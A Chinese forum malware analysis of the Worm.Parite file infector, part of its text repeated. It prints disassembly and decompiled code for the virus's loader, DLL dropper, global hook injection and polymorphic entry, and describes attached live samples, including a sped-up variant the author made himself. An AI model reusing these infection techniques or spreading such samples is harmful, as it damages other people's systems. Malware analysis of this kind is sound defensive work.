-
-
[原创]Worm.Parite.Residented 详细分析+专杀工具src
-
2010-8-4 21:44 10462
-
【文章标题】: Worm.Parite.Residented 详细分析+专杀工具src
【文章作者】: Azure[LCG]
【作者邮箱】: Azure@52pojie.cn
【作者QQ号】: 325002492
【加壳方式】: UPX
【编写语言】: BC++
【使用工具】: IDA、OD
【操作平台】: Win7+WinXP Sp3(VM)
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
完蛋了……看来我的计算机水平还是菜鸟等级的,装着自己很懂似的,不装杀软,裸奔,导致今天在干伤天害理的事情的时候被病毒感染,全盘exe文件除了最核心的系统文件无一幸免。
这个专杀只是把文件的病毒区段数据填0,然后修改入口点,但是文件大小还是没恢复回去……因为感染数量相当巨大……这只是D盘的= =郁闷啊……
留下一个图片
我欠回炉重造了……唉。。。
下次再也不敢帮别人盗版了……= =
------------------------------------------------------------------------------------------------------------------
以上为去年10月1感染病毒当天的吐嘈
彻底败掉了啊……败给了一个2001年10月7日写的病毒……- -囧爆肝,既然经历了这么多年的时光还能在网络上进行传染,就说明很有分析的必要吧……
当然现在的杀毒软件都可以干掉的、打破了我两年裸奔不中毒的记录啊……- -唉。
好吧……现在开始拆它。
以感染的InternetExplore为例(版本号6.0.2900.5512)
感染后明显多出一段
对比感染前后PE头
我们先来分析被感染程序的Loader
用到的IDA里的解码脚本
- -其实渣质量的.
执行decrypt(0x41901c,0x0EAB8D)即可
既然是解码,我们就把这段叫作DecodeProc吧……解码段最后跳去执行Loader的main函数了
Loader流程
Loader数据结构
Loader main函数的关键点
在InitImportTable函数里回填IAT并准备Loader之后要用到的IAT,下面的代码是用来回填IAT用的
剩下的几个关键函数用C代码的方式分析
以上代码删除了大量的废物、不过这样看起来流程更清晰。
Loader分析到此结束。
------------------------------------------------------------------------------------------------------------------
病毒执行的流程是强制替换Kernel32前两个函数为LoadLibraryA和GetProcAddress,然后在运行的时候再还原。依据此原理,用C++编了个16K的程序。感染以后188KB……作者还真是不注意文件大小啊。这么大一砣东西粘到一个16K的程序上……蛋疼。
- -好吧,不扯淡了,继续……
下面是对于病毒核心Dll的分析
------------------------------------------------------------------------------------------------------------------
核心Dll中Initiate函数
通过以下的流程图可以清楚地看到病毒做坏事的过程
这里关于InitInfectStruct函数初始化的结构体的数据结构有必要说一下……
关于多态入口的生成函数、这里分析的比较少。总之就两种指令格式
这是一种、还有
因为所使用的寄存器并不是固定的,前一种可以判断是否是0x68,后一种对应的机器码可以表示为X&0xB0=0xB0,具体参见专杀的代码。
ASM Table
下面这段是关于GetPEFileInfo函数的一点OD笔记、也可以结合着在IDA里分析出的函数名一起看
剩下大量的关于核心Dll的分析请参见附件中的idb文件。
下面的是我写的专杀中用于判断是否感染病毒和进行病毒清除的核心代码
完全代码请参见附件中的ResidentKiller源代码。
--------------------------------------------------------------------------------
【经验总结】
我给这个病毒起个名字好了,综合网上查到的资料和各大杀毒引擎的结果,给这个病毒命名为Worm.Parite.Residented
VirusTotal扫描结果
http://www.virustotal.com/zh-cn/analisis/47bd590e99bee93bb0b46d7b74d60da3c931b8115122a4b450045591ea366399-1280672787
- -专杀的源码写的太挫了,大家就凑合着看吧、第一次在实战中应用dfs和bfs……应该算是吧……反正是学病毒里遍历磁盘的方法
非常感谢气泡熊的解答、还有师傅。
附件目录以及Hash
附件外链:http://fs.unpack.cn/?fs=26&u=145
病毒的主体思路:首先由感染病毒的文件中的Loader释放病毒Dll并调用Initiate函数,然后注入全局钩子,其中Explorer会在装载Dll时发动一个新的线程去做坏事、这样即使钩子卸掉了,病毒还是可以存活在Explorer中。然后分出来的线程负责感染硬盘exe和src文件、
终于做完专杀了……时间2010.7.31.21:59
专杀思路:UnHook掉所有类型为CALLWND的钩子,因为如果感染病毒的进程运行的话,很多的进程都会因为它的钩子而插入一个Dll,这样将导致病毒核心Dll无法被清除,然后结束掉两个有CALLWND的进程,这两个程序的Dll是没有办法用UnHook卸掉的、只能干掉。bfsFile一次搜索8个文件,避免CPU过高被发现,然后慢慢感染……
- -花了1天而已……开发速度已经比以前有了飞跃式的进展……当然以前也没有一次搞过这么长时间编程。
病毒分析告一段落了,反正专杀都做出来了,- -剩下的代码分析的太详细了反而不是很好。
第一次在实战中应用bfs和dfs啊……应该算是吧、
拖了这么长时间啊……- -真是太对不起你了,电脑啊……今天才给你复仇啊……
附件里有3个样本,一个是病毒的核心Dll,一个是经过原版(- -实际上我后来发现我只留了个解压缩过的Dll,原版已经找不到了,不过一样分析……哈哈~)Dll感染过的DeathStartup,一个是经过改良的(因为原版感染速度实在太糟糕了,bfsFile的时候8个文件中间就要隔N长时间。懒得等的同学可以使用第二个附件,No_Delay版本……)不这个版本对硬盘不是很友好的说……
就这样吧……皆さん、頑張つてください
--------------------------------------------------------------------------------
【版权声明】: 转载请注明作者并保持文章的完整, 谢谢!
2010年08月04日
Azure[LCG]
【文章作者】: Azure[LCG]
【作者邮箱】: Azure@52pojie.cn
【作者QQ号】: 325002492
【加壳方式】: UPX
【编写语言】: BC++
【使用工具】: IDA、OD
【操作平台】: Win7+WinXP Sp3(VM)
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
完蛋了……看来我的计算机水平还是菜鸟等级的,装着自己很懂似的,不装杀软,裸奔,导致今天在干伤天害理的事情的时候被病毒感染,全盘exe文件除了最核心的系统文件无一幸免。
这个专杀只是把文件的病毒区段数据填0,然后修改入口点,但是文件大小还是没恢复回去……因为感染数量相当巨大……这只是D盘的= =郁闷啊……
留下一个图片
我欠回炉重造了……唉。。。
下次再也不敢帮别人盗版了……= =
------------------------------------------------------------------------------------------------------------------
以上为去年10月1感染病毒当天的吐嘈
彻底败掉了啊……败给了一个2001年10月7日写的病毒……- -囧爆肝,既然经历了这么多年的时光还能在网络上进行传染,就说明很有分析的必要吧……
当然现在的杀毒软件都可以干掉的、打破了我两年裸奔不中毒的记录啊……- -唉。
好吧……现在开始拆它。
以感染的InternetExplore为例(版本号6.0.2900.5512)
感染后明显多出一段
对比感染前后PE头
我们先来分析被感染程序的Loader
用到的IDA里的解码脚本
- -其实渣质量的.
[color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], 0EAB8D[color=#008000]//decode key[/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], 0041901C[color=#008000]//解码起始位置[/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]esi[/color][/color], 598[color=#008000]//固定大小[/color] L007: [color=#0000D0][color=#0000D0]xor[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+[color=#FF0000][color=#FF0000]esi[/color][/color]], [color=#FF0000][color=#FF0000]eax[/color][/color] [color=#0000D0][color=#0000D0]dec[/color][/color] [color=#FF0000][color=#FF0000]esi[/color][/color] [color=#0000D0][color=#0000D0]sub[/color][/color] [color=#FF0000][color=#FF0000]esi[/color][/color], 3 [color=#0000D0][color=#0000D0]jnz[/color][/color] L007 [color=#0000D0]#include[/color] <idc.idc> [color=#0000D0]static[/color] decrypt([color=#b000b0]end[/color], key) { [color=#0000D0]auto[/color] i, x[color=#008000];[/color] [color=#b000b0]end[/color]=[color=#b000b0]end[/color]+0x598[color=#008000];[/color] [color=#0000D0]for[/color] (i=0x598[color=#008000];i!=0;i=i-4)[/color] { x=[color=#b000b0]Dword[/color]([color=#b000b0]end[/color])[color=#008000];[/color] x= (x^key)[color=#008000];[/color] PatchDword([color=#b000b0]end[/color],x)[color=#008000];[/color] [color=#b000b0]end[/color] = [color=#b000b0]end[/color] - 4[color=#008000];[/color] } }
执行decrypt(0x41901c,0x0EAB8D)即可
既然是解码,我们就把这段叫作DecodeProc吧……解码段最后跳去执行Loader的main函数了
.qnk_:0041901C [color=#0000D0][color=#0000D0]jnz[/color][/color] [color=#0000D0]short[/color] loc_419013 .qnk_:0041901E [color=#0000D0][color=#0000D0]nop[/color][/color] .qnk_:0041901F [color=#0000D0][color=#0000D0]nop[/color][/color] .qnk_:00419020 [color=#0000D0][color=#0000D0]call[/color][/color] main .qnk_:00419020 DecodeProc [color=#b000b0]endp[/color] .qnk_:00419020 .qnk_:00419020 [color=#008000]; ---------------------------------------------------------------------------[/color]
Loader流程
Loader数据结构
00419020 00017DE8 [color=#0000D0]CALL[/color] 00419024 00000000------------------------------------------------ 00419028 00400000 IEXPLORE.00400000[color=#008000];下面一砣是原程序和病毒体信息[/color] 0041902C 00002451 +0x0C OEP RVA 00419030 00016C00 +0x10 原大小 00419034 000171D6 +0x14 加密病毒Dll偏移 00419038 0002AA00 +0x18 病毒Dll大小 0041903C 00000000 00419040 00401000 +0x20 <&KERNEL32.LoadLibraryA> 00419044 00402B4C +0x24 ASCII [color=#808080][color=#808080]"UnhandledExceptionFilter"[/color][/color] 00419048 00402AE2 +0x28 ASCII [color=#808080][color=#808080]"GetCommandLineA"[/color][/color] 0041904C 00001AEC 00419050 00002B4A +0x30 被替换掉的第一个IAT Thunk 00419054 00002AE0 +0x34 被替换掉的第二个IAT Thunk - -插一句,其实如果我早就注意到这里的话专杀的代码可以直接用这个数据、还能省掉减掉基址那一步……嘛,算了,反正效果一样、懒得去改了 00419058 00000400 0041905C 7C863E6A kernel32.[b][color=#000080]UnhandledExceptionFilter[/color][/b][color=#008000]; 被替换掉的Kernel32前两个函数[/color] 00419060 7C812FAD kernel32.GetCommandLineA
Loader main函数的关键点
[color=#0000D0][color=#0000D0]push[/color][/color] [color=#FF0000][color=#FF0000]ebp[/color][/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ebp[/color][/color], [color=#FF0000][color=#FF0000]esp[/color][/color] [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]esp[/color][/color], -140 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#FF0000][color=#FF0000]ebp[/color][/color] [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], 4 [color=#008000]; [color=#FF0000]eax[/color]=DATA after [color=#0000D0]call[/color][/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#FF0000][color=#FF0000]ebp[/color][/color] [color=#0000D0][color=#0000D0]push[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color] [color=#0000D0][color=#0000D0]push[/color][/color] [color=#FF0000][color=#FF0000]esi[/color][/color] [color=#0000D0][color=#0000D0]push[/color][/color] [color=#FF0000][color=#FF0000]edi[/color][/color] [color=#0000D0][color=#0000D0]xor[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color], [color=#FF0000][color=#FF0000]ebx[/color][/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edi[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]] [color=#008000]; [color=#FF0000]edi[/color]=DATA[/color] [color=#0000D0][color=#0000D0]lea[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebp[/color][/color]-38] [color=#0000D0][color=#0000D0]sub[/color][/color] [color=#FF0000][color=#FF0000]edi[/color][/color], 5 [color=#008000]; CALL addr[/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edi[/color][/color]+C] [color=#008000]; [color=#FF0000]eax[/color]=oep rva[/color] [color=#0000D0][color=#0000D0]lea[/color][/color] [color=#FF0000][color=#FF0000]esi[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edi[/color][/color]+84] [color=#008000]; [color=#FF0000]esi[/color]=lpKernel32_dll[/color] [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edi[/color][/color]+8] [color=#008000]; [[color=#FF0000]edi[/color]+8]base addr[/color] [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], 4 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]], [color=#FF0000][color=#FF0000]eax[/color][/color] [color=#008000]; 返回地址=oep[/color]
在InitImportTable函数里回填IAT并准备Loader之后要用到的IAT,下面的代码是用来回填IAT用的
[color=#0000D0][color=#0000D0]push[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]+24] [color=#0000D0][color=#0000D0]push[/color][/color] hKernel32 [color=#0000D0][color=#0000D0]call[/color][/color] [b][color=#000080][b][color=#000080]GetProcAddress[/color][/b][/color][/b] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebp[/color][/color]+C] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+20] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ecx[/color][/color]], [color=#FF0000][color=#FF0000]eax[/color][/color] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]eax[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebp[/color][/color]+C] [color=#0000D0][color=#0000D0]push[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]eax[/color][/color]+28] [color=#0000D0][color=#0000D0]push[/color][/color] hKernel32 [color=#0000D0][color=#0000D0]call[/color][/color] [b][color=#000080][b][color=#000080]GetProcAddress[/color][/b][/color][/b] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ebp[/color][/color]+C] [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]edx[/color][/color]+20] [color=#0000D0][color=#0000D0]add[/color][/color] [color=#FF0000][color=#FF0000]ecx[/color][/color], 4 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#b000b0]dword[/color] [color=#b000b0]ptr[/color] [[color=#FF0000][color=#FF0000]ecx[/color][/color]], [color=#FF0000][color=#FF0000]eax[/color][/color]
剩下的几个关键函数用C代码的方式分析
bool [color=#0000D0]__stdcall[/color] IsInfected([color=#0000D0][color=#0000D0]int[/color][/color] a1, [color=#0000D0][color=#0000D0]int[/color][/color] a2, [color=#0000D0][color=#0000D0]int[/color][/color] a3) { [color=#b000b0][color=#0000D0]if[/color][/color] ( ![b][color=#000080][b][color=#000080]RegOpenKeyEx[/color][/b][/color][/b](HKEY_CURRENT_USER, a3 + 189, [color=#008000]// Software\Microsoft\Windows\CurrentVersion\Explorer[/color] 0, KEY_READ, &hKey) ) { bInfected = (*([color=#0000D0][color=#0000D0]int[/color][/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0]HKEY[/color], [color=#0000D0][color=#0000D0]int[/color][/color], _DWORD, _DWORD, [color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0][color=#0000D0]int[/color][/color] *))(a2 + 48))(hKey, a3 + 240, 0, 0, a1, &v5) == 0[color=#008000];[/color] (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0]HKEY[/color]))(a2 + 52))(hKey)[color=#008000];[color=#008000]// RegQueryKeyValueExA(X,PINF...)[/color][/color] [color=#008000]//病毒核心Dll的文件位置[/color] } [color=#0000D0]return[/color] bInfected[color=#008000];[/color] } [color=#0000D0]char[/color] ExpandVirus([color=#0000D0][color=#0000D0]int[/color][/color] a1<[color=#FF0000][color=#FF0000]ebx[/color][/color]>, [color=#0000D0][color=#0000D0]int[/color][/color] a2<[color=#FF0000][color=#FF0000]edi[/color][/color]>, [color=#0000D0][color=#0000D0]int[/color][/color] a3<[color=#FF0000][color=#FF0000]esi[/color][/color]>, [color=#0000D0][color=#0000D0]int[/color][/color] a4, [color=#0000D0][color=#0000D0]int[/color][/color] a5, [color=#0000D0][color=#0000D0]int[/color][/color] a6) { GetModuleFileNameA(0, &v12, MAX_PATH, a2, a3, a1)[color=#008000];[/color] hFile = CreateFileA(&v12,GENERIC_READ,1,0,3,1,0)[color=#008000];[/color] [color=#b000b0][color=#0000D0]if[/color][/color] ( hFile == -1 ) { BYTE3(v16) = 0[color=#008000];[/color] } [color=#b000b0][color=#0000D0]else[/color][/color] { GetTempPathA(MAX_PATH, &v12)[color=#008000];[/color] v15 = [b][color=#000080][b][color=#000080]GetTickCount[/color][/b][/color][/b]()[color=#008000]; [color=#008000]//生成随机文件名[/color][/color] v7 = 0[color=#008000];[/color] [color=#0000D0]do[/color] { v8 = *((_BYTE *)&v15 + v7)[color=#008000];[/color] *((_BYTE *)&v15 + v7++) = v8 / 10 + 97[color=#008000];[/color] } [color=#0000D0]while[/color] ( v7 <= 2 )[color=#008000];[/color] BYTE3(v15) = 0[color=#008000];[/color] GetTempFileNameA(&v15, v8 % 10, &v12, &v15, 0, a4)[color=#008000];[/color] v14 = CreateFileA(a4,GENERIC_WRITE|GENERIC_READ,1,0,2,128,0)[color=#008000];[/color] [color=#b000b0][color=#0000D0]if[/color][/color] ( v14 == -1 ) { BYTE3(v16) = 0[color=#008000];[/color] } [color=#b000b0][color=#0000D0]else[/color][/color] { [color=#008000]// 每次解码10KB病毒DLL,然后写完了继续解[/color] v9 = *(_DWORD *)(a6 + 24)[color=#008000];[/color] (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], _DWORD, _DWORD, _DWORD))(a5 + 28))(hFile, *(_DWORD *)(a6 + 20), 0, 0)[color=#008000];[color=#008000]// SetFilePoint[/color][/color] [color=#0000D0]for[/color] ( [color=#008000]; v9 > 0x2800; v9 -= 10240 )[/color] { (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, [color=#0000D0]signed[/color] [color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, _DWORD))(a5 + 20))(hFile, &v11, 10240, &v13, 0)[color=#008000];[color=#008000]// ReadFile[/color][/color] Decode2(*(_DWORD *)(a6 + 128), &v11, 10240)[color=#008000];[color=#008000]// 解码病毒DLL[/color][/color] (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, [color=#0000D0]signed[/color] [color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, _DWORD))(a5 + 24))(v14, &v11, 10240, &v13, 0)[color=#008000];[/color] } (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, [color=#0000D0]unsigned[/color] [color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, _DWORD))(a5 + 20))(hFile, &v11, v9, &v13, 0)[color=#008000];[color=#008000]// [/color][/color] [color=#008000]// - -解码最后一块,完事擦屁股[/color] Decode2(*(_DWORD *)(a6 + 128), &v11, v9)[color=#008000];[/color] (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, [color=#0000D0]unsigned[/color] [color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]char[/color] *, _DWORD))(a5 + 24))(v14, &v11, v9, &v13, 0)[color=#008000];[/color] (*([color=#0000D0]void[/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color]))(a5 + 32))(v14)[color=#008000];[/color] BYTE3(v16) = 1[color=#008000];[/color] } [b][color=#000080][b][color=#000080]CloseHandle[/color][/b][/color][/b](hFile)[color=#008000];[/color] } [color=#0000D0]return[/color] BYTE3(v16)[color=#008000];[/color] } [color=#0000D0]char[/color] [color=#0000D0]__stdcall[/color] InitVirusDll([color=#0000D0][color=#0000D0]int[/color][/color] a1, [color=#0000D0][color=#0000D0]int[/color][/color] a2, [color=#0000D0][color=#0000D0]int[/color][/color] a3, [color=#0000D0][color=#0000D0]int[/color][/color] a4) { v4 = (*([color=#0000D0][color=#0000D0]int[/color][/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color]))a2)(a1)[color=#008000]; [color=#008000]// - -Load从输入表里得到的病毒路径[/color][/color] [color=#0000D0]return[/color] v4 && (v5 = (*([color=#0000D0][color=#0000D0]int[/color][/color] ([color=#0000D0]__stdcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0][color=#0000D0]int[/color][/color]))(a2 + 4))(v4, a4 + 245)) != 0[color=#008000]// [b][color=#000080]GetProcAddress[/color][/b](Initiate)[/color] && ([color=#0000D0]unsigned[/color] [color=#0000D0]__int8[/color])(([color=#0000D0][color=#0000D0]int[/color][/color] ([color=#0000D0]__stdcall[/color] *)([color=#0000D0][color=#0000D0]int[/color][/color]))v5)(a3)[color=#008000];[color=#008000]// Initiate(Addr)[/color][/color] [color=#008000]// 这里Addr是一开始DecodeProc执行完以后那个Call的地址[/color] [color=#008000]// 00419020 E8 7D010000 [color=#0000D0]call[/color] 004191A2[/color] [color=#008000]// Loader分析告一段落。下面继续Dll分析[/color] }
以上代码删除了大量的废物、不过这样看起来流程更清晰。
Loader分析到此结束。
------------------------------------------------------------------------------------------------------------------
病毒执行的流程是强制替换Kernel32前两个函数为LoadLibraryA和GetProcAddress,然后在运行的时候再还原。依据此原理,用C++编了个16K的程序。感染以后188KB……作者还真是不注意文件大小啊。这么大一砣东西粘到一个16K的程序上……蛋疼。
- -好吧,不扯淡了,继续……
下面是对于病毒核心Dll的分析
------------------------------------------------------------------------------------------------------------------
核心Dll中Initiate函数
[color=#0000D0]char[/color] [color=#0000D0]__cdecl[/color] Initiate([color=#0000D0][color=#0000D0]int[/color][/color] a1) { hMutex = OpenMutexA(MUTEX_ALL_ACCESS, 0, [color=#808080][color=#808080]"Residented"[/color][/color])[color=#008000];[/color] [color=#b000b0][color=#0000D0]if[/color][/color] ( !hMutex || (result = sub_4019A8(v4, ([color=#0000D0][color=#0000D0]int[/color][/color])&v3, 262)) != 0 && v3 < 7u && v3 >= 2u ) result = ([color=#0000D0]unsigned[/color] [color=#0000D0][color=#0000D0]int[/color][/color])SetWindowsHookExA(WH_CALLWNDPROC, ([color=#0000D0]HOOKPROC[/color])AttachHook, *([color=#0000D0]HINSTANCE[/color] *)off_459938[0], 0)[color=#008000];[color=#008000]// 放钩子,咬人[/color][/color] [color=#008000]// 全局钩子,注入N多有CALLWNDPROC的进程[/color] [color=#008000]// 感谢气泡熊的解答^_^[/color] [color=#b000b0][color=#0000D0]if[/color][/color] ( hMutex ) result = [b][color=#000080][b][color=#000080]CloseHandle[/color][/b][/color][/b](hMutex)[color=#008000];[/color] [color=#b000b0][color=#0000D0]if[/color][/color] ( !v8 ) { v7 = 8[color=#008000];[/color] v9 = v4[color=#008000];[/color] [color=#b000b0][color=#0000D0]if[/color][/color] ( v4 ) { v10 = *(_DWORD *)v9[color=#008000];[/color] v7 = 56[color=#008000];[/color] result = (*([color=#0000D0][color=#0000D0]int[/color][/color] ([color=#0000D0]__fastcall[/color] **)([color=#0000D0][color=#0000D0]int[/color][/color], [color=#0000D0]signed[/color] [color=#0000D0][color=#0000D0]int[/color][/color]))(*(_DWORD *)v9 - 4))(v9, 3)[color=#008000];[color=#008000]// call ika1.008FC65C[/color][/color] [color=#008000]// CleanUp[/color] v7 = 44[color=#008000];[/color] } [color=#b000b0][color=#0000D0]if[/color][/color] ( !v8 ) result = v6[color=#008000];[/color] } [color=#0000D0]return[/color] result[color=#008000];[/color] } 0012FCF0 00000004 |HookType = WH_CALLWNDPROC 0012FCF4 008F1EBC |Hookproc = [color=#b000b0]offset[/color] ika1.AttachHook 0012FCF8 008F0000 |hModule = 008F0000 (ika1) 0012FCFC 00000000 \ThreadID = 0
通过以下的流程图可以清楚地看到病毒做坏事的过程
这里关于InitInfectStruct函数初始化的结构体的数据结构有必要说一下……
008F4944 008F4A14 +0x00 pFileInfo 008F4948 008F4AA8 +0x04 p?(Size:0xC) 008F494C 008F2268 +0x08 pSelf 008F4950 008F4AD0 +0x0C pCurrentFileInfo([color=#0000D0]struct[/color]) 008F4954 008F4B28 +0x10 p?(Size:0x4) 008F4958 008F4B34 +0x14 pDecodeProc(Size:0xC) 008F495C 00000000 +0x18 [color=#0000D0]BOOL[/color] bSuccess[color=#008000];[/color] 008F4960 008F48C8 +0x1C [color=#0000D0]LPSTR[/color] lpInftectFile[color=#008000];[/color] 008F4964 008F498C +0x20 p(size:0x84 - Status:inited by 0) 008F4968 00001800 +0x24 [color=#0000D0]HANDLE[/color] hFile[color=#008000];[color=#008000]//(Infecting)[/color][/color] 008F496C 00000820 +0x28 [color=#b000b0][color=#0000D0]DWORD[/color][/color] dwFileAttribute[color=#008000];[/color] 008F4970 6E633000 +0x2C FILETIME CreationTime 008F4974 01CA9B55 008F4978 66265278 +0x30 FILETIME LastAccessTime 008F497C 01CAAD4D 008F4980 6E633000 +0x34 FILETIME LastWriteTime 008F4984 01CA9B55 00874863 |. E8 70420400 [color=#0000D0][color=#0000D0]call[/color][/color] 008B8AD8 [color=#0000D0]new[/color] 0087487D |. E8 1EDCFFFF [color=#0000D0][color=#0000D0]call[/color][/color] 008724A0[color=#008000];initSturct[/color] __struct DecodeProc{ }[color=#008000];(Size:0x14)[/color] 008F476C 008F457C pSelf 008F4770 00000000 008F4774 008F477C pDecodeCode __struct FileInfo{ }[color=#008000];(Size:0x14)[/color] 008F479C 00000003 +0x00 [color=#b000b0][color=#0000D0]DWORD[/color][/color] dwNumberOfSections[color=#008000];[/color] 008F47A0 000000D8 +0x04 [color=#b000b0][color=#0000D0]DWORD[/color][/color] e_lfanew[color=#008000];[/color] 008F47A4 008F46CC +0x08 pSelf 008F47A8 008F47B4 +0x0C pNtHeader 008F47AC 008F4910 +0x10 pIMAGE_SECTION_HEADER __struct pCurrentFileInfo{ }[color=#008000];[/color] 008F4858 008F46CC +0x00 pSelf 008F485C 008F4870 +0x04 [color=#0000D0]LPSTR[/color] lpCurrentFilePath[color=#008000];[/color] 008F4860 000000EC +0x08 [color=#0000D0]HANDLE[/color] hFile[color=#008000];(CurrentFile)[/color] 008F4864 0000004A 008F4868 00000001 008F486C 00000038
关于多态入口的生成函数、这里分析的比较少。总之就两种指令格式
[color=#0000D0][color=#0000D0]push[/color][/color] imm32 [color=#0000D0][color=#0000D0]pop[/color][/color] reg32
这是一种、还有
[color=#0000D0][color=#0000D0]mov[/color][/color] reg32,imm32
因为所使用的寄存器并不是固定的,前一种可以判断是否是0x68,后一种对应的机器码可以表示为X&0xB0=0xB0,具体参见专杀的代码。
008F477C 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F477D 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F477E 68 90909090 [color=#0000D0][color=#0000D0]push[/color][/color] 90909090 008F4783 5B [color=#0000D0][color=#0000D0]pop[/color][/color] [color=#FF0000][color=#FF0000]ebx[/color][/color] 008F4784 BF 90909090 [color=#0000D0][color=#0000D0]mov[/color][/color] [color=#FF0000][color=#FF0000]edi[/color][/color], 90909090 008F4789 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F478A 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F478B 68 90909090 [color=#0000D0][color=#0000D0]push[/color][/color] 90909090 008F4790 5E [color=#0000D0][color=#0000D0]pop[/color][/color] [color=#FF0000][color=#FF0000]esi[/color][/color] 008F4791 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F4792 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F4793 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F4794 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F4795 90 [color=#0000D0][color=#0000D0]nop[/color][/color] 008F4796 90 [color=#0000D0][color=#0000D0]nop[/color][/color]
ASM Table
